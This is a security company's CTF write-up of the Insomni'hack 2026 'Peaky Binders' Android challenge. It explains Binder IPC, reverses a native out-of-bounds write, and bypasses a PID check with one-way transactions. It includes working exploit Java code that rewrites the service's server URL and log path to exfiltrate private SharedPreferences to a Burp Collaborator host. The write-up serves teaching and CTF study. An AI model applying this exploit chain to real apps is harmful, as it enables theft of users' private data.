Cyber attack
Cyber attack
Cyber attack

Insomni'hack 2026 : Exploiting Android IPC with a one-way transaction bypass

Herard Thibault
Pentester - Audit
16/4/2026
Insomni'hack CTF: step-by-step exploitation of an Android Binder service — OOB write in native code combined with a FLAG_ONEWAY trick to bypass getCallingPid().OWN Security

Context & introduction

The Insomni’hack CTF presented a challenge called Peaky Binders, and the name is both a TV show reference and a description of the entire attack surface: Android Binder IPC. The goal was straightforward on paper : extract user_name and whiskey_clicks from a target application’s private SharedPreferences.

“Welcome, hacker! I retrieved an app actively used by the Shelby family. Show them their operations are insecure. I want all their information: names, how many drinks they take, everything!”

The challenge asked us to submit an APK that would run on a controlled Android device and exfiltrate the data. ADB shell was not available, just our APK against a running instance of com.peaky.binders.

Through this writeup I will explain how I went from a decompiled APK to a working exploit, covering the static analysis methodology, the native vulnerability, and the non-obvious Binder mechanism that made the whole chain possible.

Background

This section covers the core Android concepts needed to follow the rest of the writeup. Skip it if you’re already familiar with Android IPC.

Android IPC and the Binder

On Android, every application runs in its own process with its own UID and sandboxed memory. Processes cannot share memory or call functions in each other directly. To communicate, Android uses a kernel-level IPC mechanism called Binder.

The Binder driver (/dev/binder) [1] acts as a broker: when process A wants to call a method on process B, it writes a structured transaction into the kernel driver, which forwards it to process B and optionally carries a reply back [2].

Android Services and the manifest

An Android Service is a component that runs in the background. It can be made available to other applications by declaring it as exported="true" in the AndroidManifest.xml. Once exported, any app on the device can bind to it and call its methods over Binder. Adding an android:permission attribute restricts which apps are allowed to bind. Without one, the service is open to everyone.

AIDL

AIDL (Android Interface Definition Language) is the IDL used to define the interface of a Binder service. From an .aidl file, the Android toolchain generates:

  • A Stub class (server-side): the base class the service extends, which handles deserializing incoming Parcels and dispatching to the right method.
  • A Proxy class (client-side): the class a client uses to call methods, which serializes arguments into a Parcel and sends the Binder transaction.

Each method in the interface gets an integer transaction code, assigned in declaration order starting from IBinder.FIRST_CALL_TRANSACTION = 1 [3].

JNI

JNI (Java Native Interface) is the bridge that lets Java/Kotlin code call functions compiled as native shared libraries (.so). On the native side, functions that are callable from Java follow a naming convention: Java_<package>_<class>_<method>, with dots replaced by underscores. These symbols are easy to spot in a disassembler and are the entry points to reverse when a service delegates work to native code [4].

Static analysis: knowing where to look

Decompiling the target

First step is always decompiling the APK. I used jadx:

$ jadx PeakyBinders.apk -d PeakyBinders-sources/

com.peaky.binders/
├── MainActivity.java       # exported activity
├── PeakyService.java       # exported Binder service
├── IPeakyService.aidl      # AIDL interface
└── lib/
    ├── arm64-v8a/libpeaky.so
    └── ...

The manifest tells everything

Before reading a single line of Java, I always read the manifest. It tells me exactly what is exposed to other apps on the device.

<activity android:name=".MainActivity" android:exported="true" />
<service android:name=".PeakyService" android:exported="true" />

One thing stands out immediately:

  • PeakyService is exported with no android:permission, it means that any app on the device can bind to it (like our application for exemple).

The AIDL interface

The AIDL file reveals exactly what PeakyService exposes:

interface IPeakyService {
void DebugCheckFile(in byte[] data);
void enableDebugMode(boolean enable);
boolean isAchievementUnlocked(int index);
}

DebugCheckFile is the interesting one. The name alone suggests it does something with files, and the byte[] argument gives us flexibility regarding the data we pass to it.

Reading PeakyService.java

public void DebugCheckFile(byte[] bArr) throws IOException, RemoteException {
int callingPid = Binder.getCallingPid();
if (callingPid != 0) {
Log.d("PeakyService", "We allow a root process only: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
return;
}
String str = new String(bArr);
String[] result = PeakyService.this.RetrieveLog(str);
if (result != null && result.length == 2) {
final String serverUrl = result[0];
final String logContent = result[1];
new Thread(() -> {
HttpURLConnection conn = (HttpURLConnection) new URL(serverUrl + "/logs/").openConnection();
conn.setRequestMethod("POST");
conn.getOutputStream().write(logContent.getBytes());
// [...]
}).start();
}
}

public native String[] RetrieveLog(String str);
public native boolean checkAchievementNative(int i);

The logic is: if Binder.getCallingPid() != 0, reject. Otherwise, call the native RetrieveLog, and POST the result to a server URL that the native function also returns.

At first, I found this strange because getCallingPid() is never supposed to return 0 : this PID corresponds to the Android swapper, and it will never call this function directly. So this is dead code ?

Reversing libpeaky.so

Finding the interesting functions

Since this is JNI, the functions are prefixed with “Java_” in the native library.

JNI Functions

Java_com_peaky_binders_PeakyService_RetrieveLog
Java_com_peaky_binders_PeakyService_checkAchievementNative

After a bit of clean-up :

Java_com_peaky_binders_PeakyService_RetrieveLog(JNIEnv *JNIEnv,jclass jclass,jstring inputStr)
{
    p_inputStr = (*(*JNIEnv)->GetStringUTFChars)(JNIEnv,inputStr,(jboolean *)0x0);
    mode = 0;
    uStack_40 = 0;
    offset = 0;
    separator = '\0';

    iVar2 = sscanf(p_inputStr,"%15[^:]:%d:%c",&mode,&offset,&separator);
    if (iVar2 < 1) {
        strncpy((char *)&mode,p_inputStr,0xf);
    }

    android_log_print(3,"PeakyNative","DEBUG server: %s","http://peakybinders.deadbeefcafe_001041d9");
    android_log_print(3,"PeakyNative","DEBUG logpath: %s","/data/data/com.peaky.binders/log_00104219");

    memset(&DAT_001039d8,0,2049);

    if (mode == "PARTIAL") {
      iVar2 = offset;
      if (0x800 < offset) {
        android_log_print(3,"PeakyNative","Offset is larger than buffer size");
        iVar2 = 0x800;
      }
      android_log_print(3,"PeakyNative","DEBUG writing separator \'%c\' at content[%d]",(int)separator,0x800U - iVar2);
      (&DAT_001039d8)[0x800U - iVar2] = separator;
    }

    android_log_print(3,"PeakyNative","DEBUG attempting to open: %s","/data/data/com.peaky.binders/log_00104219");
    stream = fopen("/data/data/com.peaky.binders/log_00104219","r");
    if (stream == (FILE *)0x0) {
      android_log_print(3,"PeakyNative","DEBUG failed to open file: %s","/data/data/com.peaky.binders/log_00104219");
      goto LAB_00101067;
    }

    android_log_print(3,"PeakyNative","DEBUG file opened successfully");
    fseek(stream,0,2);
    uVar3 = ftell(stream);
    android_log_print(3,"PeakyNative","DEBUG file size: %d",uVar3 & 0xffffffff);
    iVar2 = (int)uVar3;
    if (mode._4_1_ == '\0' && (int)mode == 0x4c4c5546) {
      uVar3 = (ulong)(iVar2 - 0x800);

    if (0x800 < iVar2) {
      __off = uVar3;
    }
    fseek(stream,__off,0);
    fread(&DAT_001039d8,1,0x800,stream);
  }
  fclose(stream);
}

The function Java_com_peaky_binders_PeakyService_RetrieveLog is the native implementation of RetrieveLog(String str) declared in PeakyService.java. When Java calls this.RetrieveLog(str), the JVM resolves it to this symbol in libpeaky.so.

The sscanf format string %15[^:]:%d:%c tells everything: RetrieveLog parses its string argument into three fields : a mode string, an signed integer offset, and a separator character.

This function open the log file at the hardcoded path stored in logPath and read up to 0x800 bytes into content. At the end, it returns [serverUrl, content] as a Java String[]. The Java caller then POSTs content to serverUrl + "/logs/".

The .data section layout

For the important strings in the binary, the layout is:

Three consecutive buffers. That spacing is going to be very important.

Reading the Ghidra decompilation: the OOB write

The Ghidra decompilation of the PARTIAL mode handler is already quite readable:

if (mode == "PARTIAL") {
    iVar2 = offset; // offset comes from sscanf("%d"), so it's a signed int
    if (0x800 < offset) {
        android_log_print(3, "PeakyNative", "Offset is larger than buffer size");
        iVar2 = 0x800;
    }
    (&DAT_001039d8)[0x800U - iVar2] = separator;
}

The protection 0x800 < offset is a signed comparison so it only checks for values strictly greater than 0x800 (2048). For any negative value, 0x800 < offset is false and the protection is bypassed.

By passing a negative value as the offset, it becomes possible to write outside the buffer and modify the strings used by the program.

Subtracting a negative number is the same as adding its absolute value:

0x800U - (-1) = 0x800 + 1 = 0x801
0x800U - (-2) = 0x800 + 2 = 0x802
...
0x800U - (-65) = 0x800 + 65 = 0x841

DAT_001039d8 shown in Ghidra is the base address of the `content` buffer. It is 0x801 bytes long :

memset(&DAT_001039d8,0,0x801);

Any index upper than 0x801 lands after the buffer, in the adjacent .data variables: serverUrl starts at index 0x801, and logPath starts at index 0x841 (as shown in the layout table above).

The write then becomes:

offset = -1  : content[0x801] = serverUrl[0]
offset = -2  : content[0x802] = serverUrl[1]
...
offset = -65 : content[0x841] = logPath[0]

We can write arbitrary bytes to serverUrl and logPath by passing negative offsets.

After the PARTIAL write, the code falls through to a file-read path: it opens logPath, reads up to 0x800 bytes, and returns [serverUrl, content] to the Java layer. The Java layer then POSTs content to serverUrl + "/logs/".

The exploitation chain is now clear:

  1. Overwrite serverUrl to a server that we control ;
  1. Overwrite logPath to the path of the file containing the flag (/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml) ;
  1. Trigger FULL mode so PeakyService reads and POSTs the SharedPreferences file to us.

The only obstacle left is the callingPid != 0 protection…

The PID check: understanding the developer’s intent

The code shows that the developer is attempting to restrict calls to this method to the root process only.

int callingPid = Binder.getCallingPid();
if (callingPid != 0) {
Log.d("PeakyService", "We allow a root process only: " + callingPid);
return;
}

But in Android, root is UID 0, not PID 0. So this is a major development error. We need to figure out how to ensure that the getCallingPid method returns 0.

After doing a little research, I came across this article [5].

Binder.getCallingPid will always return 0 because the message sending by remote apps is asynchronous; transactions with IBinder.FLAG_ONEWAY. Therefore the uid is the only information available”

The developer made the wrong assumption. But the interesting question is: when does getCallingPid() actually return 0?

The bypass: FLAG_ONEWAY and the kernel’s behavior

How Binder transactions work

When you call a method through the standard AIDL proxy, the generated code calls:

mRemote.transact(TRANSACTION_DebugCheckFile, _data, _reply, 0);

The last argument is the flags. 0 means a synchronous transaction. The Binder kernel driver processes the transaction, fills in the header including sender_pid from the calling process and delivers it to the server. Binder.getCallingPid() reads this sender_pid value, which is always our real PID.

Now, what happens with IBinder.FLAG_ONEWAY?

For a one-way (asynchronous) transaction, the client does not wait for a reply. It means that the Binder kernel driver does not set sender_pid in the transaction header for one-way calls (the field is not populated because there is no reply path to establish). When getCallingPid() reads mCallingPid on the server side for a one-way transaction, it reads the uninitialized value, which is 0.

So: Binder.getCallingPid() returns 0 for one-way transactions on the server side. The check if (callingPid != 0) return; passes. The function body executes.

But it is important to know that the AIDL proxy always uses synchronous transactions. To use FLAG_ONEWAY, we need to bypass the proxy entirely and craft the Parcel manually.

Creating the Binder transaction

The AIDL Parcel format for DebugCheckFile(byte[] data) is:

writeInterfaceToken("com.peaky.binders.IPeakyService")
writeByteArray(data)

And DebugCheckFile is the first method declared in the interface, so its transaction code is IBinder.FIRST_CALL_TRANSACTION = 1.

We keep the raw IBinder from onServiceConnected and call transact() directly:

private void debugCheckFile(byte[] payload) throws Exception {
    Parcel data = Parcel.obtain();
    try {
        data.writeInterfaceToken("com.peaky.binders.IPeakyService");
        data.writeByteArray(payload);
        rawBinder.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, IBinder.FLAG_ONEWAY);
    } finally {
        data.recycle();
    }
}

The null reply Parcel is because one-way transactions have no reply (logically).

Building the exploit APK

Project structure

exploit/
├── app/src/main/
│   ├── AndroidManifest.xml
│   ├── java/com/exploit/peaky/
│   │   ├── ExploitActivity.java    # launcher entry point
│   │   └── ExploitService.java  # exploit logic
│   ├── aidl/com/peaky/binders/
│   │   └── IPeakyService.aidl    # copied from target APK
│   └── res/xml/
│      └── network_security_config.xml    # allow cleartext HTTP

The AIDL file is fully copied from the decompiled application. This generates the IPeakyService.Stub.asInterface() we use for enableDebugMode, which has no PID restriction.

The network_security_config.xml is necessary because PeakyService makes HTTP requests, and modern Android blocks cleartext traffic by default:

<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />
        </trust-anchors>
    </base-config>
</network-security-config>

The exploit flow

private void runExploit() {
    try {
        // 1. Start the target app so PeakyService is alive
        Intent launch = new Intent();
        launch.setComponent(new ComponentName("com.peaky.binders", "com.peaky.binders.MainActivity"));
        launch.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        startActivity(launch);
        Thread.sleep(2000);

        // 2. Bind to PeakyService
        Intent svc = new Intent();
        svc.setComponent(new ComponentName("com.peaky.binders", "com.peaky.binders.PeakyService"));
        bindService(svc, connection, Context.BIND_AUTO_CREATE);
        serviceLatch.await(5, TimeUnit.SECONDS);

        // 3. enableDebugMode: synchronous (no PID check on this method)
        peakyService.enableDebugMode(true);
        Thread.sleep(500);

        // 4. OOB write via FLAG_ONEWAY: redirect serverUrl to our Burp Collaborator
        patchServerUrl("fcvukbz884ztcwn7q0lkls4b329txjl8.oastify.com");

        // 5. OOB write via FLAG_ONEWAY: redirect logPath to SharedPreferences
        patchLogPath("/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml");

        // 6. Trigger FULL mode: PeakyService reads the XML and POSTs it
        peakyService.debugCheckFile("FULL:0:x".getBytes("UTF-8"));

        Thread.sleep(8000);
    } catch (Exception e) {
        Log.e(TAG, e.getMessage());
    }
    stopSelf();
}

The OOB write helpers

Each call to patchByte sends one PARTIAL transaction, which writes a single byte into serverUrl or logPath:

private void patchByte(int index, char c) throws Exception {
    // "PARTIAL:<index>:<c>" → content[0x800 - index] = c
    peakyService.debugCheckFile(("PARTIAL:" + index + ":" + c).getBytes("UTF-8"));
}

private void patchServerUrl(String url) throws Exception {
    String s = url + "\0"; // null-terminate the C string
    for (int i = 0; i < s.length(); i++)
        patchByte(SERVER_URL_OFFSET - i, s.charAt(i));
    // SERVER_URL_OFFSET = -1 means serverUrl[0] at content[0x801]
}

private void patchLogPath(String path) throws Exception {
    String s = path + "\0";
    for (int i = 0; i < s.length(); i++)
        patchByte(LOG_PATH_OFFSET - i, s.charAt(i));
    // LOG_PATH_OFFSET = -65 means logPath[0] at content[0x841]
}

The final step is to build the application and push it to the server.

The flag

On Burp Collaborator, the POST body arrives:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="user_name">Tommy Shelby</string>
    <int name="whiskey_clicks" value="42" />
    <string name="flag">INS{...}</string>
    <boolean name="achievement_1" value="true" />
    <boolean name="achievement_2" value="false" />
    <boolean name="achievement_3" value="false" />
</map>

The flag is there.

Conclusion

Peaky Binders was a well-designed challenge because each layer looked separately reasonable: exporting a service is normal, having a debug method behind a PID check looks safe, and a native buffer with bounds checking looks safe too. The vulnerability emerged from the intersection of all three.

The FLAG_ONEWAY bypass is particularly clever because it doesn’t require root, code injection, or any kernel exploit. It is a documented behavior of the Binder framework that the developer didn’t account for when designing the access control.

References

[1] https://www.synacktiv.com/en/publications/binder-transactions-in-the-bowels-of-the-linux-kernel

[2] https://blog.thalium.re/posts/fuzzing-samsung-system-services/

[3] https://medium.com/@iamnajmudheen7311/aidl-methods-order-matters-the-hidden-pitfall-that-can-crash-your-android-app-1033f161c7d7

[4] https://thibz.xyz/p/android-native-reversing-from-ghidra-jni-analysis-to-frida-hooking/

[5] https://stackoverflow.com/questions/7309952/getcallinguid-getcallingpid-return-current-uid-and-pid-in-handler-handlemessage

Partager l'article :

Your OWN cyber expert.